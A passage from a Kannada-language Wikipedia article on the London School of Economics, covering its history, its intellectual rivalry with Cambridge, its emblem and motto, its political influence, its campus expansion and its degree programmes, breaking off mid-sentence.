ಪೈಪೋಟಿಯು ಶಾಲಾ ಮೂಲಕ್ಕೆ ತೆರಳುತ್ತದೆ. (ಎಲ್‌ಎಸ್‌ಇಯ ಶುದ್ಧ ಸೈದ್ಧಾಂತಿಕ ತತ್ವ ಮತ್ತು ಆರ್ಥಿಕ ಇತಿಹಾಸದಲ್ಲಿ ಅದರ ಸಮರ್ಥನೆಯನ್ನು ಮಾರ್ಷಲ್ ಅವರು ಅನುಮೋದಿಸಲಿಲ್ಲ.) ಅರ್ಥಶಾಸ್ತ್ರಜ್ಞನ ಪಾತ್ರ ಮತ್ತು ಇದನ್ನು ಬೇರ್ಪಡಿತ ತಜ್ಞರೇ ಅಥವಾ ಪ್ರಾಯೋಗಿಕ ಸಲಹಾಗಾರರೇ ಎಂಬುದರ ಕುರಿತಂತೆ ಪ್ರಶ್ನೆಯನ್ನು ವಾದವು ಒಳಗೊಂಡಿತ್ತು. ಎಲ್‌ಎಸ್‌ಇ ಮತ್ತು ಐತಿಹಾಸಿಕ ಅರ್ಥಶಾಸ್ತ್ರಜ್ಞರಿಗೆ, ಆರ್ಥಿಕ ಸಿದ್ದಾಂತದ ಅನ್ವಯವು ಆರ್ಥಿಕ ಸಿದ್ಧಾಂತಕ್ಕಿಂತ ಹೆಚ್ಚು ಪ್ರಮುಖವಾಗಿತ್ತು.{{POV-statement|date=December 2007}} ಎನ್‌ಎಸ್‌ಇ ಮತ್ತು ಕೇಂಬ್ರಿಡ್ಜ್ ಅರ್ಥಶಾಸ್ತ್ರಜ್ಞರು 1920 ರಲ್ಲಿ ಜಂಟಿಯಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸಿದರು, ಉದಾಹರಣೆಗೆ ಲಂಡನ್ ಮತ್ತು ಕೇಂಬ್ರಿಡ್ಜ್ ಆರ್ಥಿಕ ಸೇವೆ - ಆದರೆ 1930 ರಲ್ಲಿ ಆರ್ಥಿಕ ಕುಸಿತದ ಪರಿಹಾರಕ್ಕೆ ಸಂಬಂಧಿಸಿದಂತೆ ಮತ್ತೆ ಎಲ್‌ಎಸ್‌ಇ ಮತ್ತು ಕೇಂಬ್ರಿಡ್ಜ್ ನಡುವೆ ವಿವಾದ ತಲೆದೋರಿತು. ಸಂಸ್ಥೆಗಳ ನಡುವೆ ಬೌದ್ಧಿಕ ಭಿನ್ನಾಭಿಪ್ರಾಯದಲ್ಲಿ ಎಲ್‌ಎಸ್‌ಇಯ ರಾಬಿನ್ಸ್ ಮತ್ತು ಹೇಕ್, ಮತ್ತು ಕೇಂಬ್ರಿಡ್ಜ್‌ನ ಕೇನ್ಸ್ ಅವರುಗಳು ಮುಖ್ಯ ಪಾತ್ರಧಾರಿಗಳಾಗಿದ್ದರು. ಹಣದುಬ್ಬರಕ್ಕೆ ಪ್ರತಿಯಾಗಿ ಬೇಡಿಕೆಯ ನಿರ್ವಹಣೆಯು ಪ್ರಸ್ತುತ ಆರ್ಥಿಕ ಸಮಸ್ಯೆಗಳಿಗೆ ಪರಿಹಾರವಾಗಿದೆ ಎಂಬಲ್ಲಿಂದ ಹಿಡಿದು ಅರ್ಥಶಾಸ್ತ್ರ ಮತ್ತು ಬೃಹದರ್ಥಶಾಸ್ತ್ರದ ವ್ಯಾಪಕವಾದ ಕಲ್ಪನೆಗಳ ಮೂಲಕ ವಿವಾದವು ಇನ್ನೂ ವಿಸ್ತರಿಸಿತು. ರಾಬಿನ್ಸ್ ಮತ್ತು ಹೇಕ್ ಅವರ ಅಭಿಪ್ರಾಯಗಳು ಆಸ್ಟ್ರೇಲಿಯನ್ ಸ್ಕೂಲ್ನ ಮುಕ್ತ ವ್ಯಾಪಾರ ಮತ್ತು ಹಸ್ತಕ್ಷೇಪವಾದ-ವಿರೋಧಿಯ ಕುರಿತಂತೆ ಒತ್ತು ನೀಡುವಿಕೆಯ ಮೇಲೆ ಆಧರಿಸಿದ್ದರೆ, ಕೇನ್ಸ್ ಅವರು ಇದೀಗ ಕೇನೇಸಿಯಾನಿಸಂ ಎಂದು ಕರೆಯಲ್ಪಡುವ ಸಾರ್ವಜನಿಕ ಕ್ಷೇತ್ರದಿಂದ ಸಕ್ರಿಯ ನೀತಿಯ ಪ್ರತಿಕ್ರಿಯೆಗಳನ್ನು ಸಮರ್ಥಿಸುವ ಆರ್ಥಿಕ ತತ್ವದ ಪ್ರಕಾರವನ್ನು ಮುಂದಿಟ್ಟರು. [[ಎರಡನೇ ಮಹಾಯುದ್ಧ|ಎರಡನೇ ವಿಶ್ವಯುದ್ಧ]]ದ ಸಂದರ್ಭದಲ್ಲಿ ಶಾಲೆಯು ಲಂಡನ್‌ನಿಂದ [[ಕೇಂಬ್ರಿಡ್ಜ್‌‌‌‌‌‌‌‌‌‌‌ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ|ಯೂನಿವರ್ಸಿಟಿ ಆಫ್ ಕೇಂಬ್ರಿಡ್ಜ್]]ಗೆ ಸ್ಥಳಾಂತರಗೊಂಡು ಪೀಟರ್‌ಹೌಸ್ಗೆ ಸೇರಿದ ಕಟ್ಟಡಗಳಲ್ಲಿ ನೆಲೆಸಿತು.<ref>{{cite web|url=http://www.pet.cam.ac.uk/images/display.html?image=album/hostel/hostel_03.jpg|title=Peterhouse Images|publisher=Peterhouse, Cambridge|accessdate=2009-07-23|archiveurl=https://web.archive.org/web/20080529001601/http://www.pet.cam.ac.uk/images/display.html?image=album%2Fhostel%2Fhostel_03.jpg|archivedate=2008-05-29|url-status=dead}}</ref> ಶಾಲೆಯ ಅಂಗಗಳಾದ,<ref name="PlantArms">{{cite web|first = Arnold|last = Plant|authorlink = Arnold Plant|title = File:"Coat of arms of the London School of Economics and Political Science"|url = http://beginnings.ioe.ac.uk/1-6%20original.jpg|publisher = Institute of Education|accessdate = 2009-07-23|archive-date = 2010-05-31|archive-url = https://web.archive.org/web/20100531073327/http://beginnings.ioe.ac.uk/1-6%20original.jpg|url-status = dead}}</ref> ಅದರ ಧ್ಯೇಯ ಸೂತ್ರ ಮತ್ತು ಬೀವರ್ ಲಾಂಛನವನ್ನು ಒಳಗೊಂಡಂತೆ ವಿಷಯವನ್ನು ಸಂಶೋಧನೆ ಮಾಡಲು ಸ್ಥಾಪಿಸಿದ್ದ ಎಂಟು ಜನ ವಿದ್ಯಾರ್ಥಿಗಳನ್ನೊಳಗೊಂಡ ಹನ್ನೆರಡು ಜನರ ಸಮಿತಿಯ ಶಿಫಾರಸಿನ ಮೇರೆಗೆ ಫೆಬ್ರವರಿ 22 ರಂದು ಜಾರಿಗೊಳಿಸಲಾಯಿತು <ref name="IOEBeginnings">{{cite web|title = London School of Economics|url = http://beginnings.ioe.ac.uk/begslse.html|work = Beginnings: The History of Higher Education in Bloomsbury and Westminster|publisher = Institute of Education|accessdate = 2009-07-23|archive-date = 2009-09-26|archive-url = https://web.archive.org/web/20090926011322/http://beginnings.ioe.ac.uk/begslse.html|url-status = dead}}</ref>.<ref name="LSEBeaverClub">{{cite web|title = London School of Economics Online Community - Member Services|url = http://www.alumni.lse.ac.uk/olc/pub/LHE/filemanager/annualfund/giftclubs/beaversclub/default.htm|publisher = London School of Economics|accessdate = 2009-07-23}}</ref> [[ಲ್ಯಾಟಿನ್]] ಧ್ಯೇಯೋದ್ದೇಶವಾದ, ''"Rerum cognoscere causas"'' , ಅನ್ನು ವರ್ಜಿಲ್ನ ಜಾರ್ಜಿಕ್ಸ್ ನಿಂದ ತೆಗೆದುಕೊಳ್ಳಲಾಗಿದೆ. ಅದರ ಆಂಗ್ಲ ಅನುವಾದವು "ವಿಷಯಗಳ ಕಾರಣಗಳನ್ನು ತಿಳಿದುಕೊಳ್ಳುವುದು"<ref name="IOEBeginnings" /> ಆಗಿದೆ ಮತ್ತು ಅದನ್ನು ಪ್ರೊಫೆಸರ್ ಎಡ್ವಿನ್ ಕನ್ನಾನ್ ಅವರು ಸೂಚಿಸಿದ್ದಾರೆ.<ref name="LSEHistoryAbout" /> ಬೀವರ್ ಲಾಂಛನವನ್ನು "ದೂರದೃಷ್ಟಿ, ರಚನಾತ್ಮಕತೆ ಮತ್ತು ಶ್ರಮಶೀಲ ನಡವಳಿಕೆ" ಯೊಂದಿಗಿನ ಅದರ ಸಂಬಂಧದ ಕಾರಣದಿಂದ ಆಯ್ಕೆ ಮಾಡಲಾಯಿತು.<ref name="LSEBeaverClub" /> == ಪ್ರಸ್ತುತ ಚಟುವಟಿಕೆ == [[File:lse initials.jpg|thumb|right|ಎಲ್ಎಸ್ಇ ಕಿರುನಾಮವನ್ನು ಒಳಗೊಂಡಿರುವ ಕಲ್ಲಿನಾಕೃತಿ]] ಎಲ್ಎಸ್‌ಇಯು ಪ್ರಮುಖವಾಗಿ ಅದರ ನಿಕಟ ಸಂಬಂಧಗಳು ಮತ್ತು ರಾಜಕೀಯ, ವ್ಯವಹಾರ ಮತ್ತು ಕಾನೂನಿನ ಮೇಲಿನ ಪ್ರಭಾವದ ಕಾರಣದಿಂದ ಬ್ರಿಟಿಷ್ ಸಮಾಜದ ಮೇಲೆ ಪ್ರಮುಖವಾದ ಪರಿಣಾಮವನ್ನುಂಟುಮಾಡುವುದನ್ನು ಮುಂದುವರಿಸಿದೆ. ಅಂತಹ ಪ್ರಭಾವವನ್ನು ಹೀಗೆ ಹೇಳುವ ಮೂಲಕ ''ದಿ ಗಾರ್ಡಿಯನ್'' ವಿವರಿಸುತ್ತದೆ: : ::<blockquote>"''ಮತ್ತೊಮ್ಮೆ ಶಾಲೆಯ ಪ್ರಭಾವವು, ಪಾರ್ಲಿಮೆಂಟ್, ವೈಟ್‌ಹಾಲ್‌ನೊಳಗೆ ಸನಿಹದಿಂದ ವಶೀಲಿ ನಡೆಸುತ್ತಿರುವಂತೆ ಕಂಡುಬರುತ್ತಿದೆ '' ''ರಾಜಕೀಯ ಪ್ರಕ್ರಿಯೆಗೆ ಸನಿಹವಾಗಿರುವುದು ಎಲ್‌ಎಸ್‌ಇಯ ಸಾಮರ್ಥ್ಯವಾಗಿದೆ: ಮರ್ವಿನ್ ಕಿಂಗ್ ಅವರು ಹಿಂದಿನ ಎಲ್‌ಎಸ್‌ಇಯ ಪ್ರೊಫೆಸರ್ ಆಗಿದ್ದರು. '' ''ಹೌಸ್ ಆಫ್ ಕಾಮನ್ಸ್ ಶೈಕ್ಷಣಿಕ ಸಮಿತಿಯ ಅಧ್ಯಕ್ಷರಾದ, ಬಾರ್ರಿ ಶೀರ್‌ಮನ್ ಅವರು ಲೇಬರ್ ವರಿಷ್ಠರಾದ ಲಾರ್ಡ್ (ಫ್ರಾಂಕ್) ಜೂಡ್ ಅವರೊಂದಿಗೆ ಅದರ ಗವರ್ನರ್‌ಗಳ ಮಂಡಳಿಯಲ್ಲಿ ಸ್ಥಾನ ನಿರ್ವಹಿಸುತ್ತಿದ್ದಾರೆ. '' ''ಹಾಗೆಯೇ ಮಂಡಳಿಯಲ್ಲಿರುವ ಇತರರೆಂದರೆ ಟೋರಿ ಎಂಪಿಗಳಾದ ವರ್ಜಿನಿಯಾ ಬಾಟಮ್ಲಿ ಮತ್ತು ರಿಚರ್ಡ್ ಶೆಫರ್ಡ್, ಹಾಗೆಯೇ ಲಾರ್ಡ್ ಸಾಚಿ ಮತ್ತು ಲೇಡಿ ಹೌ'."<ref name="autogenerated1">{{cite news |url=http://education.guardian.co.uk/higher/columnist/story/0,,1515788,00.html |title=''"A Time Honoured Tradition"'' at ''The Guardian'' Online | location=London | date=2005-06-27 | accessdate=2010-04-04}}</ref>'' </blockquote> ಇತ್ತೀಚೆಗೆ ಶಾಲೆಯು, ಕಡ್ಡಾಯವಾಗಿ ಐಡಿ ಕಾರ್ಡ್‌ಗಳನ್ನು ಜಾರಿಗೆ ತರುವುದು,<ref>{{cite news |url=http://news.bbc.co.uk/1/hi/uk_politics/4619218.stm |title=BBC News - Politics ''"Ministers press on with ID cards"'' | date=2006-01-17 | accessdate=2010-01-06}}</ref><ref>{{cite news |url=http://image.guardian.co.uk/sys-files/Politics/documents/2005/06/27/identityreport.pdf |title=''"LSE ID Card Report"''|format=PDF | work=The Guardian | location=London | accessdate=2010-04-04}}</ref> ಯೋಜನೆಯ ಸಂಬಂಧಿತ ವೆಚ್ಚಗಳ ಕುರಿತಂತೆ ಸಂಶೋಧನೆ ಮಾಡುವುದು, ಮತ್ತು ವಿಷಯದ ಬಗ್ಗೆ ಸಾರ್ವಜನಿಕ ಮತ್ತು ಸರ್ಕಾರದ ಅಭಿಪ್ರಾಯವನ್ನು ಪರಿವರ್ತಿಸುವುದು ಇಂತಹ ಬ್ರಿಟಿಷ್ ಸರ್ಕಾರದ ಪ್ರಸ್ತಾಪಗಳಲ್ಲಿ ಸಕ್ರಿಯವಾಗಿದೆ.<ref>{{cite news |url=http://news.bbc.co.uk/1/hi/uk_politics/4711178.stm |title=BBC News - Politics ''"Government staves off ID rebels"'' | date=2006-02-14 | accessdate=2010-01-06}}</ref> ಹೊಸ ನೀತಿ, ಮಸೂದೆಗಳು ಮತ್ತು ಪ್ರಣಾಳಿಕೆ ಭರವಸೆಗಳನ್ನು ಜಾರಿಗೆ ತರುವಲ್ಲಿ, ಪ್ರಮುಖವಾಗಿ ನಿಕ್ ಕ್ಲೆಗ್ ನೇತೃತ್ವದಲ್ಲಿ 12 ನೇ ಜನವರಿ 2008 ರಂದು ಲಿಬರಲ್ ಡೆಮೋಕ್ರಾಟ್ಸ್ ಪ್ರಣಾಳಿಕೆ ಕಾನ್ಫರೆನ್ಸ್ ಪ್ರಾರಂಭದೊಂದಿಗೆ ಸಂಸ್ಥೆಯು ರಾಜಕಾರಣಿಗಳು ಮತ್ತು ಎಂಪಿಗಳೊಂದಿಗೆ ಸಹ ಜನಪ್ರಿಯವಾಗಿದೆ.<ref>{{cite web |url=http://www.spectator.co.uk/coffeehouse/444366/clegg-steps-up.thtml |title=''Coffee House - The Spectator Blog "Clegg Cleans Up"'' at [[The Spectator]] Online |access-date=2010-10-08 |archive-date=2009-09-06 |archive-url=https://web.archive.org/web/20090906082643/http://www.spectator.co.uk/coffeehouse/444366/clegg-steps-up.thtml |url-status=dead }}</ref><ref>{{cite web|url=http://www.libdems.org.uk/parliament/feature.html?navPage=features.html&id=13708 |title=''"Clegg calls for radical grassroots innovation in public services"'' at the Liberal Democrat website}}</ref> '''2008 ಸಂಡೇ ಟೈಮ್ಸ್ ಯೂನಿರ್ವಸಿಟಿ ಮಾರ್ಗದರ್ಶಿ''ಗಾಗಿ, ಇತ್ತೀಚಿನ ''ದಿ ಸಂಡೇ ಟೈಮ್ಸ್'''ನ ಎಲ್‌ಎಸ್‌ಇಯ ಪ್ರೊಫೈಲ್ ಈ ರೀತಿ ಪ್ರತಿಕ್ರಯಿಸಿದೆ:''' '' '' ''' : ::<blockquote>"''ತಮ್ಮ ಯಶಸ್ಸನ್ನು ಎಲ್‌ಎಸ್‌ಇಯಲ್ಲಿ ಅವರು ಕಳೆದ ವರ್ಷಗಳಿಗೆ ಗುರುತಿಸಬಲ್ಲ ರಾಜಕೀಯ, ವ್ಯವಹಾರ ಅಥವಾ ಶೈಕ್ಷಣಿಕ ಕ್ಷೇತ್ರದಲ್ಲಿ ಸಾಧನೆ ಮಾಡಿದ ಹಲವರು ಇದ್ದಾರೆ. ಸಾಮಾನ್ಯವಾಗಿ ಚಿರಪರಿಚಿತರಾದ, ಅಥವಾ ಮನೆಮಾತಾಗಿರುವ ಅಧ್ಯಾಪಕರ ಶಿಕ್ಷಣದಿಂದ ಉತ್ತೇಚಿತರಾದ ಎಲ್ಎಸ್‌ಇ ವಿದ್ಯಾರ್ಥಿಗಳು ತಮ್ಮ ಯಶಸ್ಸಿನ ಮೊದಲ ಹಂತವನ್ನು ಚರ್ಚಾ ಕೋಣೆಗಳು, ಕೆಫೆಗಳು, ಬಾರ್‌ಗಳು,- ಮತ್ತು ಅವರ ಸೆಮಿನಾರ್ ಗುಂಪುಗಳಲ್ಲೂ ಸಹ ಆಗೊಮ್ಮೆ ಈಗೊಮ್ಮೆ ತಮ್ಮ ಅಧ್ಯಯನದ ಮೂರು ಅಥವಾ ನಾಲ್ಕು ವರ್ಷಗಳನ್ನು ಕಳೆಯುತ್ತಾರೆ."<ref>{{cite news |url=http://www.timesonline.co.uk/tol/life_and_style/education/sunday_times_university_guide/article2496158.ece |title=2008 Sunday Times University Guide - LSE Profile | work=The Times | location=London | date=2007-09-23 | accessdate=2010-04-04}}</ref>'' </blockquote> ಹೆಚ್ಚಿನದಾಗಿ, ಎಲ್‌ಎಸ್ಇ ಪದವೀಧರರ ಪ್ರಮುಖ ಹತ್ತು ಉದ್ಯೋಗದಾತರು ಮೂಲಭೂತವಾಗಿ ಅಕೌಂಟಿಂಗ್, ಹೂಡಿಕೆ ಬ್ಯಾಂಕಿಂಗ್, ಸಲಹಾ ಮತ್ತು ಕಾನೂನು ಸಂಸ್ಥೆಗಳಾಗಿರುತ್ತವೆ.<ref>{{cite news| url=http://www.timesonline.co.uk/newspaper/0,,173-2063061,00.html | work=The Times | location=London | title=Where next for LSE graduates | date=2006-03-02 | accessdate=2010-04-04}}</ref> ಎಲ್‌ಎಸ್‌ಇ ಉದ್ಯೋಗ ಸೇವೆಯ ಅಧಿಕೃತ ಅಂಕಿಅಂಶಗಳ ಪ್ರಕಾರ ಸುಮಾರು 30% ಪದವೀಧರರು "ಬ್ಯಾಂಕಿಂಗ್, ಹಣಕಾಸು ಸೇವೆಗಳು ಮತ್ತು ಅಕೌಂಟೆನ್ಸಿ" ಕ್ಷೇತ್ರಕ್ಕೆ ತೆರಳುವುದರಿಂದ ನಿಜವಾಗಿಯೂ ಎಲ್‌ಎಸ್‌ಇಯು ಆಗಾಗ್ಗೆ 'ಹೂಡಿಕೆ ಬ್ಯಾಂಕ್ ನರ್ಸರಿ' ಎಂದು ಕರೆಯಲ್ಪಡುತ್ತದೆ. ಖಾಸಗಿ ಕ್ಷೇತ್ರ, ವಿದೇಶಿ ಹಣಕಾಸು ಸೇವೆಗಳು ಮತ್ತು ಲಂಡನ್ ನಗರ ದ ಉದ್ಯೋಗದಾತರಿಗೆ ಆಗ್ಗಿಂದಾಗ್ಗೆ ಎಲ್‌ಎಸ್ಇಯು ಹೆಚ್ಚು ಆದ್ಯತೆಯ ವಿಶ್ವವಿದ್ಯಾನಿಲಯವಾಗಿದೆ. [[File:NABuilding.JPG|thumb|right|ಎಲ್ಎಸ್ಇನಲ್ಲಿನ ಹೊಸ ಶೈಕ್ಷಣಿಕ ಕಟ್ಟಡ]] ಹಲವು ವರ್ಷಗಳಿಂದ ಶಾಲೆಯು ಹೂಟನ್ ಸ್ಟ್ರೀಟ್ ಸುತ್ತಮುತ್ತ ವಿಸ್ತಾರವಾಗುತ್ತಲೇ ಇದೆ. ಇತ್ತೀಚಿನ ಹಣಕಾಸು ಸಂಗ್ರಹಣೆ ಯೋಜನೆಯಾದ, "ಎಲ್ಎಸ್‌ಇಗಾಗಿ ಚಳುವಳಿ" ಯು ಬ್ರಿಟನ್‌ನಲ್ಲಿ ಎಂದೂ ಕಾಣದ ಬೃಹತ್ ಯೂನಿವರ್ಸಿಟಿ ಹಣಕಾಸು-ಸಂಗ್ರಹಣೆ ಕಾರ್ಯಾಚರಣೆಗಳೊಂದರಲ್ಲಿ £100 ಮಿಲಿಯನ್‌ಗೂ ಹೆಚ್ಚು ಹಣವನ್ನು ಸಂಗ್ರಹಿಸಿತು. 2003 ರಲ್ಲಿ ಎಲ್‌ಎಸ್‌ಇಯು 24 ಕಿಂಗ್ಸ್‌ವೇ ನಲ್ಲಿರುವ ಹಿಂದಿನ ಪಬ್ಲಿಕ್ ಟ್ರಸ್ಟೀ ಕಟ್ಟಡವನ್ನು ಖರೀದಿ ಮಾಡಿತು. ಇದನ್ನು ಸರ್ ನಿಕೋಲಸ್ ಗ್ರಿಮ್‌ಶಾ ಅವರು £45 ಮಿಲಿಯನ್‌ಗೂ ಹೆಚ್ಚು ವೆಚ್ಚದಲ್ಲಿ "ನ್ಯೂ ಅಕಾಡೆಮಿಕ್ ಬಿಲ್ಡಿಂಗ್" ಎಂದು ಕರೆಯಲಾಗುವ ತೀರಾ ಆಧುನಿಕ ಶೈಕ್ಷಣಿಕ ಕಟ್ಟಡವಾಗಿ ಮರುಅಭಿವೃದ್ಧಿಗೊಳಿಸಿ ಕ್ಯಾಂಪಸ್ ಸ್ಥಳವನ್ನು {{convert|120000|sqft|m2}} ಪಟ್ಟು ಹೆಚ್ಚಿಸಿದರು. ಕಟ್ಟಡವು ಅಕ್ಟೋಬರ್ 2008 ರಲ್ಲಿ ಶಿಕ್ಷಣ ಚಟುವಟಿಕೆಗಳಿಗೆ ತೆರಯಲ್ಪಟ್ಟಿತು, ಹಾಗೂ [[ಎರಡನೇ ಎಲಿಜಬೆಥ್|ಘನತೆವೆತ್ತ ಬ್ರಿಟನ್ನಿನ ರಾಣಿಯವರು]] ಮತ್ತು ಡ್ಯೂಕ್ ಆಫ್ ಎಡಿನ್‌ಬರ್ಗ್ ಅವರು 2008 ರ ನವೆಂಬರ್ 5 ರಂದು ಅಧಿಕೃತವಾಗಿ ಉದ್ಭಾಟಿಸಿದರು.<ref>{{Cite web |url=http://www.lse.ac.uk/collections/campaignForLSE/pdf/07_0035%20ImpactNo1.pdf |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2010-10-08 |archive-date=2007-09-26 |archive-url=https://web.archive.org/web/20070926121654/http://www.lse.ac.uk/collections/campaignForLSE/pdf/07_0035%20ImpactNo1.pdf |url-status=dead }}</ref> ಶಾಲೆಯು ಪ್ರಗತಿಯಲ್ಲಿರುವ ಬಂಡವಾಳ ಹೂಡಿಕೆ ಯೋಜನೆಯನ್ನು ಹೊಂದಿದೆ ಮತ್ತು ಅದು ಅತೀ ಇತ್ತೀಚೆಗೆ ನವೆಂಬರ್ 2009 ರಂದು ಸರ್ಡಿನಿಯಾ ಸ್ಟ್ರೀಟ್‌ನಲ್ಲಿರುವ ಸರ್ಡಿನಿಯಾ ಹೌಸ್‌ ಅನ್ನು ಸೇರಿಸಿಕೊಂಡು ಹತ್ತು ಹಲವು ಸೈಟ್‌ಗಳನ್ನು ತನ್ನ ಬಂಡವಾಳಗಳ ಪಟ್ಟಿಗೆ ಸೇರಿಸಿಕೊಳ್ಳಲು ಖರೀದಿಸಿದೆ. ವಿದ್ಯಾರ್ಥಿಗಳ ಸಂಘ, ಉದ್ಯೋಗಗಳ ಸೇವೆ, ವಸತಿ ಕಚೇರಿ, ಕಾರ್ಯಕ್ರಮಗಳ ಸ್ಥಳ, ಕೆಫೆಗಳು, ಬಾರ್‌ಗಳು ಮತ್ತು ಕ್ಲಬ್‌ ಅನ್ನು ಅಳವಡಿಸಿಕೊಳ್ಳಲು ಹೊಸ ವಿದ್ಯಾರ್ಥಿ ಕೇಂದ್ರವನ್ನು ನಿರ್ಮಾಣ ಮಾಡುವ £30 ಮಿಲಿಯನ್ ಹಣದ ಯೋಜನೆಯೊಂದನ್ನು ಅದು ಪ್ರಸ್ತುತ ಪ್ರಾರಂಭಿಸುತ್ತಿದೆ. ಈ ಕಟ್ಟಡವು ೨೦೧೦ ರ ಬೇಸಿಗೆಯಲ್ಲಿ ಕೆಡುವುತ್ತಿರುವ ಪ್ರಸ್ತುತ ಸೈಂಟ್ ಫಿಲಿಪ್ಸ್‌‌ನ ಸ್ಥಳದಲ್ಲಿ ನೆಲೆಸಲಿದೆ. ೨೦೧೧ ರೊಳಗೆ ಸೌತ್‌ವಾರ್ಕ್‌ನಲ್ಲಿ £25 ಮಿಲಿಯನ್ ವೆಚ್ಚದಲ್ಲಿ ವಿದ್ಯಾರ್ಥಿ ಗೃಹವನ್ನೂ ಸಹ ನಿರ್ಮಾಣ ಮಾಡುವ ನಿರೀಕ್ಷೆ ಇದೆ. ಇದರ ಪ್ರಸ್ತುತ ನಿರ್ದೇಶಕರು ಸರ್ ಹೋವಾರ್ಡ್ ಡೇವಿಸ್ ಅವರಾಗಿದ್ದು, ಅವರು ಈ ಹಿಂದೆ ಫೈನಾನ್ಸಿಯಲ್ ಸರ್ವೀಸಸ್ ಅಥಾರಿಟಿಯ ಅಧ್ಯಕ್ಷರಾಗಿ, ಆಡಿಟ್ ಕಮೀಷನ್‌ನ ನಿಯಂತ್ರಕರಾಗಿ, ಕಾನ್ಫೆರಡರೇಶನ್ ಆಫ್ ಬ್ರಿಟಿಷ್ ಇಂಡಸ್ಟ್ರಿಯ ಮಹಾನಿರ್ದೇಶಕರಾಗಿ ಮತ್ತು ಬ್ಯಾಂಕ್ ಆಫ್ ಇಂಗ್ಲೆಂಡ್ನ ಗವರ್ನರ್ ಆಗಿ ಸೇವೆ ಸಲ್ಲಿಸಿದ್ದಾರೆ. ಅಧಿಕಾರದಲ್ಲಿ ಅವರ ಮೊದಲ ಕಾಲಾವಧಿಯ ನಂತರ, ಅವರನ್ನು ಜೂನ್ ೨೦೦೭ ರಂದು ಮರುನೇಮಿಸಲಾಯಿತು, ಮತ್ತು ಅವರು ೨೦೧೩ ರವರೆಗೆ ಸೇವೆ ಸಲ್ಲಿಸಲಿದ್ದಾರೆ. ರಸ್ಸೆಲ್ ಸಮೂಹದೊಂದಿಗೆ ತನ್ನ ಅಂಗ ಸದಸ್ಯತ್ವದ ಜೊತೆಗೆ, ಎಲ್ಎಸ್‌ಇಯು ಪ್ರಸ್ತುತ ಯುರೋಪಿಯನ್ ಯೂನಿವರ್ಸಿಟಿ ಅಸೋಸಿಯೇಷನ್,<ref>{{cite web|url=http://www.eua.be/ |title=The European University Association Home Page|accessdate=2009-04-13}}</ref> ಅಸೋಸಿಯೇಶನ್ ಆಫ್ ಕಾಮನ್‌ವೆಲ್ತ್ ಯೂನಿವರ್ಸಿಟೀಸ್, ಕಮ್ಯೂನಿಟಿ ಆಫ್ ಯುರೋಪಿಯನ್ ಮ್ಯಾನೇಜ್‌ಮೆಂಟ್ ಸ್ಕೂಲ್ಸ್ ಎಂಡ್ ಇಂಟರ್‌ನ್ಯಾಷನಲ್ ಕಂಪನೀಸ್,<ref>{{cite web |url=http://www.cems.org/general/academic_partners/school.php?getcountry=80 |title=CEMS Home Page |accessdate=2008-01-13 |archive-date=2008-01-19 |archive-url=https://web.archive.org/web/20080119022145/http://www.cems.org/general/academic_partners/school.php?getcountry=80 |url-status=dead }}</ref> ಅಸೋಸಿಯೇಶನ್ ಆಫ್ ಪ್ರೊಫೆಶನಲ್ ಸ್ಕೂಲ್ಸ್ ಆಫ್ ಇಂಟರ್‌ನ್ಯಾಷನಲ್ ಅಫೇರ್ಸ್,<ref>{{cite web|url=http://www.apsia.org/apsia/members/members.php |title=Association of Professional Schools of International Affairs |accessdate=2008-01-13}}</ref> ಮತ್ತು ಯೂನಿವರ್ಸಿಟೀಸ್ ಯುಕೆ,<ref>{{cite web |url=http://www.universitiesuk.ac.uk/members/ |title=Universities UK Home Page |accessdate=2008-01-13 |archive-date=2008-01-13 |archive-url=https://web.archive.org/web/20080113082556/http://www.universitiesuk.ac.uk/members/ |url-status=dead }}</ref> ಹಾಗೂ ಬ್ರಿಟಿಷ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯಗಳ ಗೋಲ್ಡನ್ ಟ್ರಯಾಂಗಲ್ ನ ಸದಸ್ಯವಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತಿದೆ. == ವಿಷಯಕ್ರಮಗಳು ಮತ್ತು ಪ್ರವೇಶ == [[File:LondonSchoolofEconomics cford.jpg|thumb|right|೧೯೯೦ ರ ಮೊದಲಲ್ಲಿ ಮುಖ್ಯ ದ್ವಾರ]] ಎಲ್ಎಸ್‌ಇಯು ಸಾಮಾಜಿಕ ವಿಜ್ಞಾನದ ಅಧ್ಯಯನ ಮತ್ತು ಸಂಶೋಧನೆಗೆ ಮಾತ್ರ ಸಮರ್ಪಿತವಾಗಿದೆ ಮತ್ತು ಹೀಗಿರುವ ಯುನೈಟೆಡ್ ಕಿಂಗ್‌ಡಮ್‌ನ ಏಕೈಕ ವಿಶ್ವವಿದ್ಯಾನಿಲಯವಾಗಿದೆ. ಶಾಲೆಯು 140 ಕ್ಕೂ ಹೆಚ್ಚು ಎಮ್‌ಎಸ್‌ಸಿ ವಿಷಯಕ್ರಮಗಳು, 4 ಎಮ್‌ಪಿಎ ವಿಷಯಕ್ರಮಗಳು, ಎಲ್‌ಎಲ್‌ಬಿ, 30 ಬಿಎಸ್‌ಸಿ ವಿಷಯಕ್ರಮಗಳು, ಎಲ್‌ಎಲ್‌ಬಿ ಮತ್ತು 4 ಬಿಎ ವಿಷಯಕ್ರಮಗಳು (ಅಂತರಾಷ್ಟ್ರೀಯ ಇತಿಹಾಸ ಮತ್ತು ಭೌಗೋಳಿಕಶಾಸ್ತ್ರವನ್ನು ಒಳಗೊಂಡು) ನೀಡುತ್ತದೆ.<ref>{{cite web|url=http://www.lse.ac.uk/resources/undergraduateProspectus2007/indexOfCourses.htm |title=LSE Undergraduate Prospectus |publisher=Lse.ac.uk |date= |accessdate=2010-04-26 |archiveurl = https://web.archive.org/web/20080602092424/http://www.lse.ac.uk/resources/undergraduateProspectus2007/indexOfCourses.htm |archivedate = June 2, 2008}}</ref> ಆರ್ಥಿಕ ಇತಿಹಾಸ ದಲ್ಲಿ ಬಿಎಸ್‌ಸಿ ಅನ್ನು ಬೋಧಿಸುವ ಎರಡು ಬ್ರಿಟಿಷ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯಗಳಲ್ಲಿ ಎಲ್‌ಎಸ್‌ಇಯು ಒಂದಾಗಿದ್ದು, ಮತ್ತೊಂದು ವಿಶ್ವವಿದ್ಯಾನಿಲಯವು 